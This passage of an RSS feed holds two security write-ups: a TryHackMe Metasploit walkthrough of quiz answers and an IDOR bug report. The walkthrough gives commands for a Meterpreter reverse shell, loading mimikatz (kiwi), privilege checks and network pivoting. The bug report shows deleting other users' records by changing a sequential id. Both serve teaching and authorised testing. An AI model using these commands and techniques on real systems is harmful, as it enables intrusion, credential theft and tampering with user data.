it?</p><blockquote>?</blockquote><p>#3 Finding various modules we have at our disposal within Metasploit is one of the most common commands we will leverage in the framework. What is the base command we use for searching?</p><blockquote>search</blockquote><p>#4 Once we’ve found the module we want to leverage, what command we use to select it as the active module?</p><blockquote>use</blockquote><p>#5 How about if we want to view information about either a specific module or just the active one we have selected?</p><blockquote>info</blockquote><p>#6 Metasploit has a built-in netcat-like function where we can make a quick connection with a host simply to verify that we can ‘talk’ to it. What command is this?</p><blockquote>connect</blockquote><p>#7 Entirely one of the commands purely utilized for fun, what command displays the motd/ascii art we see when we start msfconsole (without -q flag)?</p><blockquote>banner</blockquote><p>#8 We’ll revisit these next two commands shortly, however, they’re two of the most used commands within Metasploit. First, what command do we use to change the value of a variable?</p><blockquote>set</blockquote><p>#9 Metasploit supports the use of global variables, something which is incredibly useful when you’re specifically focusing on a single box. What command changes the value of a variable globally?</p><blockquote>setg</blockquote><p>#10 Now that we’ve learned about to change the value of variables, how do we view them? There are technically several answers to this question, however, I’m looking for a specific three-letter command which is used to view the value of single variables.</p><blockquote>get</blockquote><p>#11 How about changing the value of a variable to null/no value?</p><blockquote>unset</blockquote><p>#12 When performing a penetration test it’s quite common to record your screen either for further review or for providing evidence of any actions taken. This is often coupled with the collection of console output to a file as it can be incredibly useful to grep for different pieces of information output to the screen. What command can we use to set our console output to save to a file?</p><blockquote>spool</blockquote><p>#13 Leaving a Metasploit console running isn’t always convenient and it can be helpful to have all of our previously set values load when starting up Metasploit. What command can we use to store the settings/active datastores from Metasploit to a settings file? This will save within your msf4 (or msf5) directory and can be undone easily by simply removing the created settings file.</p><blockquote>save</blockquote><h3><strong>[Task 4] Modules for Every Occasion!</strong></h3><p>Metasploit consists of six core modules that make up the bulk of the tools you will utilize within it. Let’s take a quick look through the various modules, their purposes, and some of the commands associated with modules.</p><figure><img alt="*Note, this diagram includes both the interfaces and *most* of the modules. This diagram does not include the ‘Post’ module." src="https://cdn-images-1.medium.com/max/740/1*WBktzLZGIA3CZrIcs3x2ow.png" /><figcaption>*Note, this diagram includes both the interfaces and *most* of the modules. This diagram does not include the ‘Post’ module.</figcaption></figure><p>#1 Easily the most common module utilized, which module holds all of the exploit code we will use?</p><blockquote>exploit</blockquote><p>#2 Used hand in hand with exploits, which module contains the various bits of shellcode we send to have executed following exploitation?</p><blockquote>payload</blockquote><p>#3 Which module is most commonly used in scanning and verification machines are exploitable? This is not the same as the actual exploitation of course.</p><blockquote>auxiliary</blockquote><p>#4 One of the most common activities after exploitation is looting and pivoting. Which module provides these capabilities?</p><blockquote>post</blockquote><p>#5 Commonly utilized in payload obfuscation, which module allows us to modify the ‘appearance’ of our exploit such that we may avoid signature detection?</p><blockquote>encoder</blockquote><p>#6 Last but not least, which module is used with buffer overflow and ROP attacks?</p><blockquote>nop</blockquote><p>#7 Not every module is loaded in by default, what command can we use to load different modules?</p><blockquote>load</blockquote><h3><strong>[Task 5] Move that shell!</strong></h3><p>Time to deploy the machine. I’m considering the machine IP as 10.10.x.x.</p><p>Note: Metasploit does support different types of port scans from within the auxiliary modules. Metasploit can also import other scans from nmap and Nessus just to name a few.</p><p>#1 Metasploit comes with a built-in way to run nmap and feed it’s results directly into our database. Let’s run that now by using the command:</p><blockquote>db_nmap -sV BOX-IP</blockquote><p>#2 What service does nmap identify running on port 135?</p><blockquote>msrpc</blockquote><p>#3 Let’s go ahead and see what information we have collected in the database. Try typing the command ‘hosts’ into the msfconsole now.</p><blockquote>hosts</blockquote><p>#4 How about something else from the database, try the command ‘services’ now.</p><blockquote>services</blockquote><p>#5 One last thing, try the command ‘vulns’ now. This won’t show much at the current moment, however, it’s worth noting that Metasploit will keep track of discovered vulnerabilities. One of the many ways the database can be leveraged quickly and powerfully.</p><blockquote>vulns</blockquote><p>#6 Now that we’ve scanned our victim system, let’s try connecting to it with a Metasploit payload. First, we’ll have to search for the target payload. In Metasploit 5 (the most recent version at the time of writing) you can simply type ‘use’ followed by a unique string found within only the target exploit. For example, try this out now with the following command ‘use icecast’. What is the full path for our exploit that now appears on the msfconsole prompt? *This will include the exploit section at the start.</p><blockquote>exploit/windows/http/icecast_header</blockquote><p>#7 While that use command with the unique string can be incredibly useful that’s not quite the exploit we want here. Let’s now run the command ‘search multi/handler’. What is the name of the column on the far left side of the console that shows up next to ‘Name’? Go ahead and run the command ‘use NUMBER_NEXT_TO exploit/multi/handler` wherein the number will be what appears in that far left column (typically this will be 4 or 5). In this way, we can use our search results without typing out the full name/path of the module we want to use.</p><blockquote>#</blockquote><p>#8 Now type the command ‘use NUMBER_FROM_PREVIOUS_QUESTION’. This is the short way to use modules returned by search results.</p><blockquote>use 6</blockquote><p>#9 Next, let’s set the payload using this command ‘set PAYLOAD windows/meterpreter/reverse_tcp’. In this way, we can modify which payloads we want to use with our exploits. Additionally, let’s run this command ‘set LHOST YOUR_IP_ON_TRYHACKME’. You might have to check your IP using the command ‘<strong>ip addr</strong>’, it will likely be your <strong>tun0 interface</strong>.</p><blockquote>set PAYLOAD windows/meterpreter/reverse_tcp <br>ip addr<br>set LHOST YOUR_IP_ON_TRYHACKME</blockquote><p>#10 Let’s go ahead and return to our previous exploit, run the command `use icecast` to select it again.</p><blockquote>use icecast</blockquote><p>#11 One last step before we can run our exploit. Run the command ‘set RHOST BOX_IP’ to tell Metasploit which target to attack.</p><blockquote>set RHOST BOX_IP</blockquote><p>#12 Once you’re set those variables correctly, run the exploit now via either the command ‘exploit’ or the command ‘run -j’ to run this as a job.</p><blockquote>exploit</blockquote><p>#13 Once we’ve started this, we can check all of the jobs running on the system by running the command `jobs`</p><blockquote>jobs</blockquote><p>#14 After we’ve established our connection in the next task, we can list all of our sessions using the command `sessions`. Similarly, we can interact with a target session using the command `sessions -i SESSION_NUMBER`</p><blockquote>sessions -i SESSION_NUMBER</blockquote><h3>[Task 6] We’re in, now what?</h3><p>Now that we’ve got a shell into our victim machine, let’s take a look at several post-exploitation modules actions we can leverage! Most of the questions in the following section can be answered by using the Meterpreter help menu which can be accessed through the ‘help’ command. This menu dynamically expands as we load more modules.</p><p>#1 First things first, our initial shell/process typically isn’t very stable. Let’s go ahead and attempt to move to a different process. First, let’s list the processes using the command ‘ps’. What’s the name of the spool service?</p><blockquote>spoolsv.exe</blockquote><p>#2 Let’s go ahead and move into the spool process or at least attempt to! What command do we use to transfer ourselves into the process? This won’t work at the current time as we don’t have sufficient privileges but we can still try!</p><blockquote>migrate</blockquote><p>#3 Well that migration didn’t work, let’s find out some more information about the system so we can try to elevate. What command can we run to find out more information regarding the current user running the process we are in?</p><blockquote>getuid</blockquote><p>#4 How about finding more information out about the system itself?</p><blockquote>sysinfo</blockquote><p>#5 This might take a little bit of googling, what do we run to load mimikatz (more specifically the new version of mimikatz) so we can use it?</p><blockquote>load kiwi</blockquote><p>#6 Let’s go ahead and figure out the privileges of our current user, what command do we run?</p><blockquote>getprivs</blockquote><p>#7 What command do we run to transfer files to our victim computer?</p><blockquote>upload</blockquote><p>#8 How about if we want to run a Metasploit module?</p><blockquote>run</blockquote><p>#9 A simple question but still quite necessary, what command do we run to figure out the networking information and interfaces on our victim?</p><blockquote>ipconfig</blockquote><p>#10 Let’s go ahead and run a few post modules from Metasploit. First, let’s run the command `run post/windows/gather/checkvm`. This will determine if we’re in a VM, a very useful piece of knowledge for further pivoting.</p><blockquote>run post/windows/gather/checkvm</blockquote><p>#11 Next, let’s try: `run post/multi/recon/local_exploit_suggester`. This will check for various exploits which we can run within our session to elevate our privileges. Feel free to experiment using these suggestions, however, we’ll be going through this in greater detail in the room `Ice`.</p><blockquote>run post/multi/recon/local_exploit_suggester</blockquote><p>#12 Finally, let’s try forcing RDP to be available. This won’t work since we aren’t administrators, however, this is a fun command to know about:</p><blockquote>run post/windows/manage/enable_rdp</blockquote><p>#13 One quick extra question, what command can we run in our meterpreter session to spawn a normal system shell?</p><blockquote>shell</blockquote><h3><strong>[Task 7] Makin’ Cisco Proud</strong></h3><p>Last but certainly not least, let’s take a look at the autorouting options available to us in Metasploit. While our victim machine may not have multiple network interfaces (NICs), we’ll walk through the motions of pivoting through our victim as if it did have access to extra networks.</p><p>#1 Let’s go ahead and run the command `run autoroute -h`, this will pull up the help menu for autoroute. What command do we run to add a route to the following subnet: 172.18.1.0/24? Use the -n flag in your answer.</p><blockquote>run autoroute -s 172.18.1.0 -n 255.255.255.0</blockquote><p>#2 Additionally, we can start a socks4a proxy server out of this session. Background our current meterpreter session and run the command `search server/socks4a`. What is the full path to the socks4a auxiliary module?</p><blockquote>auxiliary/server/socks4a</blockquote><p>#3 Once we’ve started a socks server we can modify our /etc/proxychains.conf file to include our new server. What command do we prefix our commands (outside of Metasploit) to run them through our socks4a server with proxychains?</p><blockquote>proxychains</blockquote><p>To contact me: <a href="https://twitter.com/abhiunix">Twitter</a>,</p><p><em>Web: </em><a href="https://abhiunix.in/"><em>https://abhiunix.in</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63f01ce1f535" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/rp-metasploit-walkthrough-tryhackme-63f01ce1f535">RP: Metasploit Walkthrough: TryHackMe</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IDOR on API endpoints.]]></title>
            <link>https://infosecwriteups.com/idor-on-api-endpoints-e08c740e87a2?source=rss-48581afe4398------2</link>
            <guid isPermaLink="false">https://medium.com/p/e08c740e87a2</guid>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[api-security]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Abhijeet Singh]]></dc:creator>
            <pubDate>Fri, 03 Apr 2020 14:39:53 GMT</pubDate>
            <atom:updated>2021-07-23T08:35:57.385Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey guys,<br>I’m here to share my recent finding on a website which pulls me to pen down my first post. I can not disclose the name of the company because of the Non-Disclosure Agreement(NDA). So I’ll be using <strong><em>target.com</em></strong> for references.</p><h3>TL; DR</h3><p>I found out that while requesting an endpoint of an API, there was a lack of access control policy(Broken Access Control), which leads me to edit/delete the work experience and educational details of any user without their permission.</p><h3>Prerequisites</h3><p>What is IDOR?<br><em>Insecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly.</em></p><p>So, I was testing <strong>target.com</strong> from last 3 days. I found out some bugs which include Cross-site scripting, Rate limiting etc. I was not satisfied with what I had. So I start digging out for more. After an hour of searching, my eyes got stuck on a<strong><em> response of an API request</em></strong>, which was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*a9tqQ6JTTkiciELi_hex3A.png" /><figcaption>Work creation <strong>Response</strong></figcaption></figure><p>You can clearly see, this response includes an ‘id’ parameter (“id”:2150). This took my attention. <br>This <strong>response</strong> was generated because I added a work experience to the profile on <strong>target.com</strong>. The original request was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z3iI3Jzp1nUE9t3CVn-F0A.png" /><figcaption>Work creation <strong>Request</strong></figcaption></figure><p>Now I started fuzzing to that location. I tried a few things like creating a work experience of another user by adding some parameters in JSON, inside the body of the request but nothing happened. <br>I was about to move from this endpoint but suddenly I thought about checking the delete functionality of the work experience. <br>I deleted the work experience on my profile and captured the request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XOKxeWxgIZ0G2DL1CWqaAg.png" /><figcaption>Delete <strong>Request</strong> of work experience.</figcaption></figure><p>Now I think you have also caught that interesting parameter in that URL. The method was <strong>DELETE</strong> and URL was <br><strong><em>https://www.target.com/api/user-firm/2150.</em></strong><em><br></em>That number(‘<em>2150</em>&#39;) in the request again took my attention. Now see the <strong><em>response</em></strong> of the above request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mNUK1j7MNQVBZHmeXWIhdA.png" /><figcaption>Delete <strong>Response</strong> of work experience.</figcaption></figure><p>The response contains the status code ‘204’ <em>No Content. Which </em>means that the work experience was deleted successfully and there was no content at that location. <br>Now I created another account again followed the above steps. I added a work experience to this profile. The request was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*lezRQAP_Scf_YTvy3t9Uxg.png" /><figcaption>Request for Creating work [2nd Account]</figcaption></figure><p>The response had something which again calls my previous thoughts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*dgFdRdlTbLKH2SHSXUm37A.png" /><figcaption>Response of Creating work [2nd Account]</figcaption></figure><p>Here “id”=2151 which was successor number of the previous work experience which I had created with my first account. Now I got to know that this was going uniformly.<br>Now from the first account I again created another work experience.<br>Now the idea was to check for IDOR vulnerability. <br>So, I tried to delete the work experience of the 2nd account by using the request of the first account. <br>Make sure that you remember the creation id(2150) of the first work experience.<br>Deletion Request from my first account was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XOKxeWxgIZ0G2DL1CWqaAg.png" /><figcaption>Deletion Request from my first account.</figcaption></figure><p>In the above Request, I changed the value of the id from 2150 to 2151.<strong><em><br></em></strong>The response was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mNUK1j7MNQVBZHmeXWIhdA.png" /><figcaption>Response.</figcaption></figure><p><strong><em>Voila!!</em></strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FyoJC2GnSClbPOkV0eA%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fexcited-birthday-yeah-yoJC2GnSClbPOkV0eA&amp;image=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FyoJC2GnSClbPOkV0eA%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="363" frameborder="0" scrolling="no"><a href="https://medium.com/media/90509c5b46d096e596493e9fe2e78fe1/href">https://medium.com/media/90509c5b46d096e596493e9fe2e78fe1/href</a></iframe><p>So, I had just deleted the work experience of my 2nd account with my first account. <br>Again, I tried the same for adding educational details on the website. Luckily, I got succeeded again.</p><h3>Impact</h3><p>I could have edited/deleted the work experience and educational details of the entire user registered on that website target.com without any permission.</p><h3>Tips:</h3><blockquote>&gt;Must see the response of API endpoints with parameters.<br>&gt;If some number is passing in the API then you must try to fuzz the endpoint and look for IDOR.</blockquote><p>This website I had tested during my internship.<br>So, yes I did not get any special bounty.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Fl1KVaj5UcbHwrBMqI%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Flifetimetv-adorable-babies-l1KVaj5UcbHwrBMqI&amp;image=https%3A%2F%2Fmedia1.giphy.com%2Fmedia%2Fl1KVaj5UcbHwrBMqI%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/50322e6311e00d8396ab0ec84584943a/href">https://medium.com/media/50322e6311e00d8396ab0ec84584943a/href</a></iframe><p>Thank you for reading so far.<br>Hope you have learned something.</p><p>In case you want to reach out, here’s where you can find me.<br><strong>Twitter:</strong> <a href="https://twitter.com/abhiunix"><em>https://twitter.com/abhiunix</em></a><br><strong>Linkedin:</strong> <a href="https://linkedin.com/in/abhiunix"><em>https://linkedin.com/in/abhiunix</em></a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FAeWoyE3ZT90YM%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fthank-you-zach-galifianakis-AeWoyE3ZT90YM&amp;image=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FAeWoyE3ZT90YM%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="183" frameborder="0" scrolling="no"><a href="https://medium.com/media/2c5ba7781b740cfedabb5659c277bd0d/href">https://medium.com/media/2c5ba7781b740cfedabb5659c277bd0d/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e08c740e87a2" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/idor-on-api-endpoints-e08c740e87a2">IDOR on API endpoints.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>